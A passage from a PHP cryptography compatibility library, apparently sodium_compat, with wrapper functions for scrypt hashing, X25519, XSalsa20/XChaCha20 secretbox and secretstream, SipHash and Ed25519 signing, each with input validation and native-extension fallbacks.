$memlimit) { ParagonIE_Sodium_Core_Util::declareScalarType($outlen, 'int', 1); ParagonIE_Sodium_Core_Util::declareScalarType($passwd, 'string', 2); ParagonIE_Sodium_Core_Util::declareScalarType($salt, 'string', 3); ParagonIE_Sodium_Core_Util::declareScalarType($opslimit, 'int', 4); ParagonIE_Sodium_Core_Util::declareScalarType($memlimit, 'int', 5); if (self::useNewSodiumAPI()) { return (string) sodium_crypto_pwhash_scryptsalsa208sha256( (int) $outlen, (string) $passwd, (string) $salt, (int) $opslimit, (int) $memlimit ); } if (self::use_fallback('crypto_pwhash_scryptsalsa208sha256')) { return (string) call_user_func( '\\Sodium\\crypto_pwhash_scryptsalsa208sha256', (int) $outlen, (string) $passwd, (string) $salt, (int) $opslimit, (int) $memlimit ); } // This is the best we can do. throw new SodiumException( 'This is not implemented, as it is not possible to implement Scrypt with acceptable performance in pure-PHP' ); } /** * !Exclusive to sodium_compat! * * This returns TRUE if the native crypto_pwhash API is available by libsodium. * This returns FALSE if only sodium_compat is available. * * @return bool */ public static function crypto_pwhash_scryptsalsa208sha256_is_available() { if (self::useNewSodiumAPI()) { return true; } if (self::use_fallback('crypto_pwhash_scryptsalsa208sha256')) { return true; } return false; } /** * @param string $passwd * @param int $opslimit * @param int $memlimit * @return string * @throws SodiumException * @throws TypeError */ public static function crypto_pwhash_scryptsalsa208sha256_str($passwd, $opslimit, $memlimit) { ParagonIE_Sodium_Core_Util::declareScalarType($passwd, 'string', 1); ParagonIE_Sodium_Core_Util::declareScalarType($opslimit, 'int', 2); ParagonIE_Sodium_Core_Util::declareScalarType($memlimit, 'int', 3); if (self::useNewSodiumAPI()) { return (string) sodium_crypto_pwhash_scryptsalsa208sha256_str( (string) $passwd, (int) $opslimit, (int) $memlimit ); } if (self::use_fallback('crypto_pwhash_scryptsalsa208sha256_str')) { return (string) call_user_func( '\\Sodium\\crypto_pwhash_scryptsalsa208sha256_str', (string) $passwd, (int) $opslimit, (int) $memlimit ); } // This is the best we can do. throw new SodiumException( 'This is not implemented, as it is not possible to implement Scrypt with acceptable performance in pure-PHP' ); } /** * @param string $passwd * @param string $hash * @return bool * @throws SodiumException * @throws TypeError */ public static function crypto_pwhash_scryptsalsa208sha256_str_verify($passwd, $hash) { ParagonIE_Sodium_Core_Util::declareScalarType($passwd, 'string', 1); ParagonIE_Sodium_Core_Util::declareScalarType($hash, 'string', 2); if (self::useNewSodiumAPI()) { return (bool) sodium_crypto_pwhash_scryptsalsa208sha256_str_verify( (string) $passwd, (string) $hash ); } if (self::use_fallback('crypto_pwhash_scryptsalsa208sha256_str_verify')) { return (bool) call_user_func( '\\Sodium\\crypto_pwhash_scryptsalsa208sha256_str_verify', (string) $passwd, (string) $hash ); } // This is the best we can do. throw new SodiumException( 'This is not implemented, as it is not possible to implement Scrypt with acceptable performance in pure-PHP' ); } /** * Calculate the shared secret between your secret key and your * recipient's public key. * * Algorithm: X25519 (ECDH over Curve25519) * * @param string $secretKey * @param string $publicKey * @return string * @throws SodiumException * @throws TypeError * @psalm-suppress MixedArgument */ public static function crypto_scalarmult($secretKey, $publicKey) { /* Type checks: */ ParagonIE_Sodium_Core_Util::declareScalarType($secretKey, 'string', 1); ParagonIE_Sodium_Core_Util::declareScalarType($publicKey, 'string', 2); /* Input validation: */ if (ParagonIE_Sodium_Core_Util::strlen($secretKey) !== self::CRYPTO_BOX_SECRETKEYBYTES) { throw new SodiumException('Argument 1 must be CRYPTO_BOX_SECRETKEYBYTES long.'); } if (ParagonIE_Sodium_Core_Util::strlen($publicKey) !== self::CRYPTO_BOX_PUBLICKEYBYTES) { throw new SodiumException('Argument 2 must be CRYPTO_BOX_PUBLICKEYBYTES long.'); } if (self::useNewSodiumAPI()) { return sodium_crypto_scalarmult($secretKey, $publicKey); } if (self::use_fallback('crypto_scalarmult')) { return (string) call_user_func('\\Sodium\\crypto_scalarmult', $secretKey, $publicKey); } /* Output validation: Forbid all-zero keys */ if (ParagonIE_Sodium_Core_Util::hashEquals($secretKey, str_repeat("\0", self::CRYPTO_BOX_SECRETKEYBYTES))) { throw new SodiumException('Zero secret key is not allowed'); } if (ParagonIE_Sodium_Core_Util::hashEquals($publicKey, str_repeat("\0", self::CRYPTO_BOX_PUBLICKEYBYTES))) { throw new SodiumException('Zero public key is not allowed'); } if (PHP_INT_SIZE === 4) { return ParagonIE_Sodium_Crypto32::scalarmult($secretKey, $publicKey); } return ParagonIE_Sodium_Crypto::scalarmult($secretKey, $publicKey); } /** * Calculate an X25519 public key from an X25519 secret key. * * @param string $secretKey * @return string * @throws SodiumException * @throws TypeError * @psalm-suppress TooFewArguments * @psalm-suppress MixedArgument */ public static function crypto_scalarmult_base($secretKey) { /* Type checks: */ ParagonIE_Sodium_Core_Util::declareScalarType($secretKey, 'string', 1); /* Input validation: */ if (ParagonIE_Sodium_Core_Util::strlen($secretKey) !== self::CRYPTO_BOX_SECRETKEYBYTES) { throw new SodiumException('Argument 1 must be CRYPTO_BOX_SECRETKEYBYTES long.'); } if (self::useNewSodiumAPI()) { return sodium_crypto_scalarmult_base($secretKey); } if (self::use_fallback('crypto_scalarmult_base')) { return (string) call_user_func('\\Sodium\\crypto_scalarmult_base', $secretKey); } if (ParagonIE_Sodium_Core_Util::hashEquals($secretKey, str_repeat("\0", self::CRYPTO_BOX_SECRETKEYBYTES))) { throw new SodiumException('Zero secret key is not allowed'); } if (PHP_INT_SIZE === 4) { return ParagonIE_Sodium_Crypto32::scalarmult_base($secretKey); } return ParagonIE_Sodium_Crypto::scalarmult_base($secretKey); } /** * Authenticated symmetric-key encryption. * * Algorithm: XSalsa20-Poly1305 * * @param string $plaintext The message you're encrypting * @param string $nonce A Number to be used Once; must be 24 bytes * @param string $key Symmetric encryption key * @return string Ciphertext with Poly1305 MAC * @throws SodiumException * @throws TypeError * @psalm-suppress MixedArgument */ public static function crypto_secretbox($plaintext, $nonce, $key) { /* Type checks: */ ParagonIE_Sodium_Core_Util::declareScalarType($plaintext, 'string', 1); ParagonIE_Sodium_Core_Util::declareScalarType($nonce, 'string', 2); ParagonIE_Sodium_Core_Util::declareScalarType($key, 'string', 3); /* Input validation: */ if (ParagonIE_Sodium_Core_Util::strlen($nonce) !== self::CRYPTO_SECRETBOX_NONCEBYTES) { throw new SodiumException('Argument 2 must be CRYPTO_SECRETBOX_NONCEBYTES long.'); } if (ParagonIE_Sodium_Core_Util::strlen($key) !== self::CRYPTO_SECRETBOX_KEYBYTES) { throw new SodiumException('Argument 3 must be CRYPTO_SECRETBOX_KEYBYTES long.'); } if (self::useNewSodiumAPI()) { return sodium_crypto_secretbox($plaintext, $nonce, $key); } if (self::use_fallback('crypto_secretbox')) { return (string) call_user_func('\\Sodium\\crypto_secretbox', $plaintext, $nonce, $key); } if (PHP_INT_SIZE === 4) { return ParagonIE_Sodium_Crypto32::secretbox($plaintext, $nonce, $key); } return ParagonIE_Sodium_Crypto::secretbox($plaintext, $nonce, $key); } /** * Decrypts a message previously encrypted with crypto_secretbox(). * * @param string $ciphertext Ciphertext with Poly1305 MAC * @param string $nonce A Number to be used Once; must be 24 bytes * @param string $key Symmetric encryption key * @return string Original plaintext message * @throws SodiumException * @throws TypeError * @psalm-suppress MixedArgument * @psalm-suppress MixedInferredReturnType * @psalm-suppress MixedReturnStatement */ public static function crypto_secretbox_open($ciphertext, $nonce, $key) { /* Type checks: */ ParagonIE_Sodium_Core_Util::declareScalarType($ciphertext, 'string', 1); ParagonIE_Sodium_Core_Util::declareScalarType($nonce, 'string', 2); ParagonIE_Sodium_Core_Util::declareScalarType($key, 'string', 3); /* Input validation: */ if (ParagonIE_Sodium_Core_Util::strlen($nonce) !== self::CRYPTO_SECRETBOX_NONCEBYTES) { throw new SodiumException('Argument 2 must be CRYPTO_SECRETBOX_NONCEBYTES long.'); } if (ParagonIE_Sodium_Core_Util::strlen($key) !== self::CRYPTO_SECRETBOX_KEYBYTES) { throw new SodiumException('Argument 3 must be CRYPTO_SECRETBOX_KEYBYTES long.'); } if (self::useNewSodiumAPI()) { /** * @psalm-suppress InvalidReturnStatement * @psalm-suppress FalsableReturnStatement */ return sodium_crypto_secretbox_open($ciphertext, $nonce, $key); } if (self::use_fallback('crypto_secretbox_open')) { return call_user_func('\\Sodium\\crypto_secretbox_open', $ciphertext, $nonce, $key); } if (PHP_INT_SIZE === 4) { return ParagonIE_Sodium_Crypto32::secretbox_open($ciphertext, $nonce, $key); } return ParagonIE_Sodium_Crypto::secretbox_open($ciphertext, $nonce, $key); } /** * Return a secure random key for use with crypto_secretbox * * @return string * @throws Exception * @throws Error */ public static function crypto_secretbox_keygen() { return random_bytes(self::CRYPTO_SECRETBOX_KEYBYTES); } /** * Authenticated symmetric-key encryption. * * Algorithm: XChaCha20-Poly1305 * * @param string $plaintext The message you're encrypting * @param string $nonce A Number to be used Once; must be 24 bytes * @param string $key Symmetric encryption key * @return string Ciphertext with Poly1305 MAC * @throws SodiumException * @throws TypeError * @psalm-suppress MixedArgument */ public static function crypto_secretbox_xchacha20poly1305($plaintext, $nonce, $key) { /* Type checks: */ ParagonIE_Sodium_Core_Util::declareScalarType($plaintext, 'string', 1); ParagonIE_Sodium_Core_Util::declareScalarType($nonce, 'string', 2); ParagonIE_Sodium_Core_Util::declareScalarType($key, 'string', 3); /* Input validation: */ if (ParagonIE_Sodium_Core_Util::strlen($nonce) !== self::CRYPTO_SECRETBOX_NONCEBYTES) { throw new SodiumException('Argument 2 must be CRYPTO_SECRETBOX_NONCEBYTES long.'); } if (ParagonIE_Sodium_Core_Util::strlen($key) !== self::CRYPTO_SECRETBOX_KEYBYTES) { throw new SodiumException('Argument 3 must be CRYPTO_SECRETBOX_KEYBYTES long.'); } if (PHP_INT_SIZE === 4) { return ParagonIE_Sodium_Crypto32::secretbox_xchacha20poly1305($plaintext, $nonce, $key); } return ParagonIE_Sodium_Crypto::secretbox_xchacha20poly1305($plaintext, $nonce, $key); } /** * Decrypts a message previously encrypted with crypto_secretbox_xchacha20poly1305(). * * @param string $ciphertext Ciphertext with Poly1305 MAC * @param string $nonce A Number to be used Once; must be 24 bytes * @param string $key Symmetric encryption key * @return string Original plaintext message * @throws SodiumException * @throws TypeError * @psalm-suppress MixedArgument */ public static function crypto_secretbox_xchacha20poly1305_open($ciphertext, $nonce, $key) { /* Type checks: */ ParagonIE_Sodium_Core_Util::declareScalarType($ciphertext, 'string', 1); ParagonIE_Sodium_Core_Util::declareScalarType($nonce, 'string', 2); ParagonIE_Sodium_Core_Util::declareScalarType($key, 'string', 3); /* Input validation: */ if (ParagonIE_Sodium_Core_Util::strlen($nonce) !== self::CRYPTO_SECRETBOX_NONCEBYTES) { throw new SodiumException('Argument 2 must be CRYPTO_SECRETBOX_NONCEBYTES long.'); } if (ParagonIE_Sodium_Core_Util::strlen($key) !== self::CRYPTO_SECRETBOX_KEYBYTES) { throw new SodiumException('Argument 3 must be CRYPTO_SECRETBOX_KEYBYTES long.'); } if (PHP_INT_SIZE === 4) { return ParagonIE_Sodium_Crypto32::secretbox_xchacha20poly1305_open($ciphertext, $nonce, $key); } return ParagonIE_Sodium_Crypto::secretbox_xchacha20poly1305_open($ciphertext, $nonce, $key); } /** * @param string $key * @return array Returns a state and a header. * @throws Exception * @throws SodiumException */ public static function crypto_secretstream_xchacha20poly1305_init_push($key) { if (PHP_INT_SIZE === 4) { return ParagonIE_Sodium_Crypto32::secretstream_xchacha20poly1305_init_push($key); } return ParagonIE_Sodium_Crypto::secretstream_xchacha20poly1305_init_push($key); } /** * @param string $header * @param string $key * @return string Returns a state. * @throws Exception */ public static function crypto_secretstream_xchacha20poly1305_init_pull($header, $key) { if (ParagonIE_Sodium_Core_Util::strlen($header) < self::CRYPTO_SECRETSTREAM_XCHACHA20POLY1305_HEADERBYTES) { throw new SodiumException( 'header size should be SODIUM_CRYPTO_SECRETSTREAM_XCHACHA20POLY1305_HEADERBYTES bytes' ); } if (PHP_INT_SIZE === 4) { return ParagonIE_Sodium_Crypto32::secretstream_xchacha20poly1305_init_pull($key, $header); } return ParagonIE_Sodium_Crypto::secretstream_xchacha20poly1305_init_pull($key, $header); } /** * @param string $state * @param string $msg * @param string $aad * @param int $tag * @return string * @throws SodiumException */ public static function crypto_secretstream_xchacha20poly1305_push(&$state, $msg, $aad = '', $tag = 0) { if (PHP_INT_SIZE === 4) { return ParagonIE_Sodium_Crypto32::secretstream_xchacha20poly1305_push( $state, $msg, $aad, $tag ); } return ParagonIE_Sodium_Crypto::secretstream_xchacha20poly1305_push( $state, $msg, $aad, $tag ); } /** * @param string $state * @param string $msg * @param string $aad * @return bool|array{0: string, 1: int} * @throws SodiumException */ public static function crypto_secretstream_xchacha20poly1305_pull(&$state, $msg, $aad = '') { if (PHP_INT_SIZE === 4) { return ParagonIE_Sodium_Crypto32::secretstream_xchacha20poly1305_pull( $state, $msg, $aad ); } return ParagonIE_Sodium_Crypto::secretstream_xchacha20poly1305_pull( $state, $msg, $aad ); } /** * @return string * @throws Exception */ public static function crypto_secretstream_xchacha20poly1305_keygen() { return random_bytes(self::CRYPTO_SECRETSTREAM_XCHACHA20POLY1305_KEYBYTES); } /** * @param string $state * @return void * @throws SodiumException */ public static function crypto_secretstream_xchacha20poly1305_rekey(&$state) { if (PHP_INT_SIZE === 4) { ParagonIE_Sodium_Crypto32::secretstream_xchacha20poly1305_rekey($state); } else { ParagonIE_Sodium_Crypto::secretstream_xchacha20poly1305_rekey($state); } } /** * Calculates a SipHash-2-4 hash of a message for a given key. * * @param string $message Input message * @param string $key SipHash-2-4 key * @return string Hash * @throws SodiumException * @throws TypeError * @psalm-suppress MixedArgument * @psalm-suppress MixedInferredReturnType * @psalm-suppress MixedReturnStatement */ public static function crypto_shorthash($message, $key) { /* Type checks: */ ParagonIE_Sodium_Core_Util::declareScalarType($message, 'string', 1); ParagonIE_Sodium_Core_Util::declareScalarType($key, 'string', 2); /* Input validation: */ if (ParagonIE_Sodium_Core_Util::strlen($key) !== self::CRYPTO_SHORTHASH_KEYBYTES) { throw new SodiumException('Argument 2 must be CRYPTO_SHORTHASH_KEYBYTES long.'); } if (self::useNewSodiumAPI()) { return sodium_crypto_shorthash($message, $key); } if (self::use_fallback('crypto_shorthash')) { return (string) call_user_func('\\Sodium\\crypto_shorthash', $message, $key); } if (PHP_INT_SIZE === 4) { return ParagonIE_Sodium_Core32_SipHash::sipHash24($message, $key); } return ParagonIE_Sodium_Core_SipHash::sipHash24($message, $key); } /** * Return a secure random key for use with crypto_shorthash * * @return string * @throws Exception * @throws Error */ public static function crypto_shorthash_keygen() { return random_bytes(self::CRYPTO_SHORTHASH_KEYBYTES); } /** * Returns a signed message. You probably want crypto_sign_detached() * instead, which only returns the signature. * * Algorithm: Ed25519 (EdDSA over Curve25519) * * @param string $message Message to be signed. * @param string $secretKey Secret signing key. * @return string Signed message (signature is prefixed). * @throws SodiumException * @throws TypeError * @psalm-suppress MixedArgument * @psalm-suppress MixedInferredReturnType * @psalm-suppress MixedReturnStatement */ public static function crypto_sign($message, $secretKey) { /* Type checks: */ ParagonIE_Sodium_Core_Util::declareScalarType($message, 'string', 1); ParagonIE_Sodium_Core_Util::declareScalarType($secretKey, 'string', 2); /* Input validation: */ if (ParagonIE_Sodium_Core_Util::strlen($secretKey) !== self::CRYPTO_SIGN_SECRETKEYBYTES) { throw new SodiumException('Argument 2 must be CRYPTO_SIGN_SECRETKEYBYTES long.'); } if (self::useNewSodiumAPI()) { return sodium_crypto_sign($message, $secretKey); } if (self::use_fallback('crypto_sign')) { return (string) call_user_func('\\Sodium\\crypto_sign', $message, $secretKey); } if (PHP_INT_SIZE === 4) { return ParagonIE_Sodium_Crypto32::sign($message, $secretKey); } return ParagonIE_Sodium_Crypto::sign($message, $secretKey); } /** * Validates a signed message then returns the message. * * @param string $signedMessage A signed message * @param string $publicKey A public key * @return string The original message (if the signature is * valid for this public key) * @throws SodiumException * @throws TypeError * @psalm-suppress MixedArgument * @psalm-suppress MixedInferredReturnType * @psalm-suppress MixedReturnStatement */ public static function crypto_sign_open($signedMessage, $publicKey) { /* Type checks: */ ParagonIE_Sodium_Core_Util::declareScalarType($signedMessage, 'string', 1); ParagonIE_Sodium_Core_Util::declareScalarType($publicKey, 'string', 2); /* Input validation: */ if (ParagonIE_Sodium_Core_Util::strlen($signedMessage) < self::CRYPTO_SIGN_BYTES) { throw new SodiumException('Argument 1 must be at least CRYPTO_SIGN_BYTES long.'); } if (ParagonIE_Sodium_Core_Util::strlen($publicKey) !== self::CRYPTO_SIGN_PUBLICKEYBYTES) { throw new SodiumException('Argument 2 must be CRYPTO_SIGN_PUBLICKEYBYTES long.'); } if (self::useNewSodiumAPI()) { /** * @psalm-suppress InvalidReturnStatement * @psalm-suppress FalsableReturnStatement */ return sodium_crypto_sign_open($signedMessage, $publicKey); } if (self::use_fallback('crypto_sign_open')) { return call_user_func('\\Sodium\\crypto_sign_open', $signedMessage, $publicKey); } if (PHP_INT_SIZE === 4) { return ParagonIE_Sodium_Crypto32::sign_open($signedMessage, $publicKey); } return ParagonIE_Sodium_Crypto::sign_open($signedMessage, $publicKey); } /** * Generate a new random Ed25519 keypair. * * @return string * @throws SodiumException * @throws TypeError */ public static function crypto_sign_keypair() { if (self::useNewSodiumAPI()) { return sodium_crypto_sign_keypair(); } if (self::use_fallback('crypto_sign_keypair')) { return (string) call_user_func('\\Sodium\\crypto_sign_keypair'); } if (PHP_INT_SIZE === 4) { return ParagonIE_Sodium_Core32_Ed25519::keypair(); } return ParagonIE_Sodium_Core_Ed25519::keypair(); } /** * @param string $sk * @param string $pk * @return string * @throws SodiumException */ public static function crypto_sign_keypair_from_secretkey_and_publickey($sk, $pk) { ParagonIE_Sodium_Core_Util::declareScalarType($sk, 'string', 1); ParagonIE_Sodium_Core_Util::declareScalarType($pk, 'string', 1); $sk = (string) $sk; $pk = (string) $pk; if (ParagonIE_Sodium_Core_Util::strlen($sk) !== self::CRYPTO_SIGN_SECRETKEYBYTES) { throw new SodiumException('secretkey should be SODIUM_CRYPTO_SIGN_SECRETKEYBYTES bytes'); } if (ParagonIE_Sodium_Core_Util::strlen($pk) !== self::CRYPTO_SIGN_PUBLICKEYBYTES) { throw new SodiumException('publickey should be SODIUM_CRYPTO_SIGN_PUBLICKEYBYTES bytes'); } if (self::useNewSodiumAPI()) { return sodium_crypto_sign_keypair_from_secretkey_and_publickey($sk, $pk); } return $sk . $pk; } /** * Generate an Ed25519 keypair from a seed. * * @param string $seed Input seed * @return string Keypair * @throws SodiumException * @throws TypeError * @psalm-suppress MixedArgument */ public static function crypto_sign_seed_keypair($seed) { ParagonIE_Sodium_Core_Util::declareScalarType($seed, 'string', 1); if (self::useNewSodiumAPI()) { return sodium_crypto_sign_seed_keypair($seed); } if (self::use_fallback('crypto_sign_keypair')) { return (string) call_user_func('\\Sodium\\crypto_sign_seed_keypair', $seed); } $publicKey = ''; $secretKey = ''; if (PHP_INT_SIZE === 4) { ParagonIE_Sodium_Core32_Ed25519::seed_keypair($publicKey, $secretKey, $seed); } else { ParagonIE_Sodium_Core_Ed25519::seed_keypair($publicKey, $secretKey, $seed); } return $secretKey . $publicKey; } /** * Extract an Ed25519 public key from an Ed25519 keypair. * * @param string $keypair Keypair * @return string Public key * @throws SodiumException * @throws TypeError * @psalm-suppress MixedArgument */ public static function crypto_sign_publickey($keypair) { /* Type checks: */ ParagonIE_Sodium_Core_Util::declareScalarType($keypair, 'string', 1); /* Input validation: */ if (ParagonIE_Sodium_Core_Util::strlen($keypair) !== self::CRYPTO_SIGN_KEYPAIRBYTES) { throw new SodiumException('Argument 1 must be CRYPTO_SIGN_KEYPAIRBYTES long.'); } if (self::useNewSodiumAPI()) { return sodium_crypto_sign_publickey($keypair); } if (self::use_fallback('crypto_sign_publickey')) { return (string) call_user_func('\\Sodium\\crypto_sign_publickey', $keypair); } if (PHP_INT_SIZE === 4) { return ParagonIE_Sodium_Core32_Ed25519::publickey($keypair); } return ParagonIE_Sodium_Core_Ed25519::publickey($keypair); } /** * Calculate an Ed25519 public key from an Ed25519 secret key. * * @param string $secretKey Your Ed25519 secret key * @return string The corresponding Ed25519 public key * @throws SodiumException * @throws TypeError * @psalm-suppress MixedArgument */ public static function crypto_sign_publickey_from_secretkey($secretKey) { /* Type checks: */ ParagonIE_Sodium_Core_Util::declareScalarType($secretKey, 'string', 1); /* Input validation: */ if (ParagonIE_Sodium_Core_Util::strlen($secretKey) !== self::CRYPTO_SIGN_SECRETKEYBYTES) { throw new SodiumException('Argument 1 must be CRYPTO_SIGN_SECRETKEYBYTES long.'); } if (self::useNewSodiumAPI()) { return sodium_crypto_sign_publickey_from_secretkey($secretKey); } if (self::use_fallback('crypto_sign_publickey_from_secretkey')) { return (string) call_user_func('\\Sodium\\crypto_sign_publickey_from_secretkey', $secretKey); } if (PHP_INT_SIZE === 4) { return ParagonIE_Sodium_Core32_Ed25519::publickey_from_secretkey($secretKey); } return ParagonIE_Sodium_Core_Ed25519::publickey_from_secretkey($secretKey); } /** * Extract an Ed25519 secret key from an Ed25519 keypair. * * @param string $keypair Keypair * @return string Secret key * @throws SodiumException * @throws TypeError * @psalm-suppress MixedArgument */ public static function crypto_sign_secretkey($keypair) { /* Type checks: */ ParagonIE_Sodium_Core_Util::declareScalarType($keypair, 'string', 1); /* Input validation: */ if (ParagonIE_Sodium_Core_Util::strlen($keypair) !== self::CRYPTO_SIGN_KEYPAIRBYTES) { throw new SodiumException('Argument 1 must be CRYPTO_SIGN_KEYPAIRBYTES long.'); } if (self::useNewSodiumAPI()) { return sodium_crypto_sign_secretkey($keypair); } if (self::use_fallback('crypto_sign_secretkey')) { return (string) call_user_func('\\Sodium\\crypto_sign_secretkey', $keypair); } if (PHP_INT_SIZE === 4) { return ParagonIE_Sodium_Core32_Ed25519::secretkey($keypair); } return ParagonIE_Sodium_Core_Ed25519::secretkey($keypair); } /** * Calculate the Ed25519 signature of a message and return ONLY the signature. * * Algorithm: Ed25519 (EdDSA over Curve25519) * * @param string $message Message to be signed * @param string $secretKey Secret signing key * @return string Digital signature * @throws SodiumException * @throws TypeError * @psalm-suppress MixedArgument */ public static function crypto_sign_detached($message, $secretKey) { /* Type checks: */ ParagonIE_Sodium_Core_Util::declareScalarType($message, 'string', 1); ParagonIE_Sodium_Core_Util::declareScalarType($secretKey, 'string', 2); /* Input validation: */ if (ParagonIE_Sodium_Core_Util::strlen($secretKey) !== self::CRYPTO_SIGN_SECRETKEYBYTES) { throw new SodiumException('Argument 2 must be CRYPTO_SIGN_SECRETKEYBYTES long.'); } if (self::useNewSodiumAPI()) { return sodium_crypto_sign_detached($message, $secretKey); } if (self::use_fallback('crypto_sign_detached')) { return (string) call_user_func('\\Sodium\\crypto_sign_detached', $message, $secretKey); } if (PHP_INT_SIZE === 4) { return ParagonIE_Sodium_Crypto32::sign_detached($message, $secretKey); } return ParagonIE_Sodium_Crypto::sign_detached($message, $secretKey); } /** * Verify the Ed25519 signature of a message. * * @param string $signature Digital sginature * @param string $message Message to be verified * @param string $publicKey Public key * @return bool TRUE if this signature is good for this public key; * FALSE otherwise * @throws SodiumException * @throws TypeError * @psalm-suppress MixedArgument */ public static function crypto_sign_verify_detached($signature, $message, $publicKey) { /* Type checks: */ ParagonIE_Sodium_Core_Util::declareScalarType($signature, 'string', 1); ParagonIE_Sodium_Core_Util::declareScalarType($message, 'string', 2); ParagonIE_Sodium_Core_Util::declareScalarType($publicKey, 'string', 3); /* Input validation: */ if (ParagonIE_Sodium_Core_Util::strlen($signature) !== self::CRYPTO_SIGN_BYTES) { throw new SodiumException('Argument 1 must be CRYPTO_SIGN_BYTES long.'); } if (ParagonIE_Sodium_Core_Util::strlen($publicKey) !== self::CRYPTO_SIGN_PUBLICKEYBYTES) { throw new SodiumException('Argument 3 must be CRYPTO_SIGN_PUBLICKEYBYTES long.'); } if (self::useNewSodiumAPI()) { return sodium_crypto_sign_verify_detached($signature, $message, $publicKey); } if (self::use_fallback('crypto_sign_verify_detached')) { return (bool) call_user_func( '\\Sodium\\crypto_sign_verify_detached', $signature, $message, $publicKey ); } if (PHP_INT_SIZE === 4) { return ParagonIE_Sodium_Crypto32::sign_verify_detached($signature, $message, $publicKey); } return ParagonIE_Sodium_Crypto::sign_verify_detached($signature, $message, $publicKey); } /** * Convert an Ed25519 public key to a Curve25519 public key * * @param string $pk * @return string * @throws SodiumException * @throws TypeError * @psalm-suppress MixedArgument */ public static function crypto_sign_ed25519_pk_to_curve25519($pk) { /* Type checks: */ ParagonIE_Sodium_Core_Util::declareScalarType($pk, 'string', 1); /* Input validation: */ if (ParagonIE_Sodium_Core_Util::strlen($pk) < self::CRYPTO_SIGN_PUBLICKEYBYTES) { throw new SodiumException('Argument 1 must be at least CRYPTO_SIGN_PUBLICKEYBYTES long.'); } if (self::useNewSodiumAPI()) { if (is_callable('crypto_sign_ed25519_pk_to_curve25519')) { return (string) sodium_crypto_sign_ed25519_pk_to_curve25519($pk); } } if (self::use_fallback('crypto_sign_ed25519_pk_to_curve25519')) { return (string) call_user_func('\\Sodium\\crypto_sign_ed25519_pk_to_curve25519', $pk); } if (PHP_INT_SIZE === 4) { return ParagonIE_Sodium_Core32_Ed25519::pk_to_curve25519($pk); } return ParagonIE_Sodium_Core_Ed25519::pk_to_curve25519($pk); } /** * Convert an Ed25519 secret key to a Curve25519 secret key * * @param string $sk * @return string * @throws SodiumException * @throws TypeError * @psalm-suppress MixedArgument */ public static function crypto_sign_ed25519_sk_to_curve25519($sk) { /* Type checks: */ ParagonIE_Sodium_Core_Util::declareScalarType($sk, 'string', 1); /* Input validation: */ if (ParagonIE_Sodium_Core_Util::strlen($sk) < self::CRYPTO_SIGN_SEEDBYTES) { throw new SodiumException('Argument 1 must be at least CRYPTO_SIGN_SEEDBYTES long.'); } if (self::useNewSodiumAPI()) { if (is_callable('crypto_sign_ed25519_sk_to_curve25519')) { return sodium_crypto_sign_ed25519_sk_to_curve25519($sk); } } if (self::use_fallback('crypto_sign_ed25519_sk_to_curve25519')) { return (string) call_user_func('\\Sodium\\crypto_sign_ed25519_sk_to_curve25519', $sk); } $h = hash('sha512', ParagonIE_Sodium_Core_Util::substr($sk, 0, 32), true); $h[0] = ParagonIE_Sodium_Core_Util::intToChr( ParagonIE_Sodium_Core_Util::chrToInt($h[0]) & 248 ); $h[31] = ParagonIE_Sodium_Core_Util::intToChr( (ParagonIE_Sodium_Core_Util::chrToInt($h[31]) & 127) | 64 ); return ParagonIE_Sodium_Core_Util::substr($h, 0, 32); } /** * Expand a key and nonce into a keystream of pseudorandom bytes. * * @param int $len Number of bytes desired * @param string $nonce Number to be used Once; must be 24 bytes * @param string $key XSalsa20 key * @return string Pseudorandom stream that can be XORed with messages * to provide encryption (but not authentication; see * Poly1305 or crypto_auth() for that, which is not * optional for security) * @throws SodiumException * @throws TypeError * @psalm-suppress MixedArgument */ public static function crypto_stream($len, $nonce, $key) { /* Type checks: */ ParagonIE_Sodium_Core_Util::declareScalarType($len, 'int', 1); ParagonIE_Sodium_Core_Util::declareScalarType($nonce, 'string', 2); ParagonIE_Sodium_Core_Util::declareScalarType($key, 'string', 3); /* Input validation: */ if (ParagonIE_Sodium_Core_Util::strlen($nonce) !== self::CRYPTO_STREAM_NONCEBYTES) { throw new SodiumException('Argument 2 must be CRYPTO_SECRETBOX_NONCEBYTES long.'); } if (ParagonIE_Sodium_Core_Util::strlen($key) !== self::CRYPTO_STREAM_KEYBYTES) { throw new SodiumException('Argument 3 must be CRYPTO_STREAM_KEYBYTES long.'); } if (self::useNewSodiumAPI()) { return sodium_crypto_stream($len, $nonce, $key); } if (self::use_fallback('crypto_stream')) { return (string) call_user_func('\\Sodium\\crypto_stream', $len, $nonce, $key); } if (PHP_INT_SIZE === 4) { return ParagonIE_Sodium_Core32_XSalsa20::xsalsa20($len, $nonce, $key); } return ParagonIE_Sodium_Core_XSalsa20::xsalsa20($len, $nonce, $key); } /** * DANGER! UNAUTHENTICATED ENCRYPTION! * * Unless you are following expert advice, do not use this feature. * * Algorithm: XSalsa20 * * This DOES NOT provide ciphertext integrity. * * @param string $message Plaintext message * @param string $nonce Number to be used Once; must be 24 bytes * @param string $key Encryption key * @return string Encrypted text which is vulnerable to chosen- * ciphertext attacks unless you implement some * other mitigation to the ciphertext (i.e. * Encrypt then MAC) * @throws SodiumException * @throws TypeError * @psalm-suppress MixedArgument */ public static function crypto_stream_xor($message, $nonce, $key) { /* Type checks: */ ParagonIE_Sodium_Core_Util::declareScalarType($message, 'string', 1); ParagonIE_Sodium_Core_Util::declareScalarType($nonce, 'string', 2); ParagonIE_Sodium_Core_Util::declareScalarType($key, 'string', 3); /* Input validation: */ if (ParagonIE_Sodium_Core_Util::strlen($nonce) !== self::CRYPTO_STREAM_NONCEBYTES) { throw new SodiumException('Argument 2 must be CRYPTO_SECRETBOX_NONCEBYTES long.'); } if (ParagonIE_Sodium_Core_Util::strlen($key) !== self::CRYPTO_STREAM_KEYBYTES) { throw new SodiumException('Argument 3 must be CRYPTO_SECRETBOX_KEYBYTES long.'); } if (self::useNewSodiumAPI()) { return sodium_crypto_stream_xor($message, $nonce, $key); } if (self::use_fallback('crypto_stream_xor')) { return (string) call_user_func('\\Sodium\\crypto_stream_xor', $message, $nonce, $key); } if (PHP_INT_SIZE === 4) { return ParagonIE_Sodium_Core32_XSalsa20::xsalsa20_xor($message, $nonce, $key); } return ParagonIE_Sodium_Core_XSalsa20::xsalsa20_xor($message, $nonce, $key); } /** * Return a secure random key for use with crypto_stream * * @return string * @throws Exception * @throws Error */ public static function crypto_stream_keygen() { return random_bytes(self::CRYPTO_STREAM_KEYBYTES); } /** * Expand a key and nonce into a keystream of pseudorandom bytes. * * @param int $len Number of bytes desired * @param string 